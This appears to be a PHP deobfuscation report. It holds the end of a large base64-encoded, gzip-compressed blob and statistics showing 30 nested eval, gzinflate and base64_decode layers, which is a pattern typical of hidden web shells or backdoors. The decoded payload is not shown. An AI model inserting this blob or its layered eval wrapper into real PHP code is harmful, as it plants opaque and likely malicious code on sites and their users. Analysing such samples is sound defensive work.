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')));
?>

Function Calls

gzinflate 30
base64_decode 30

Variables

None

Stats

MD5 4d8bbc4eee0f8c2eb28a599fd01d1c06
Eval Count 30
Decode Time 4012 ms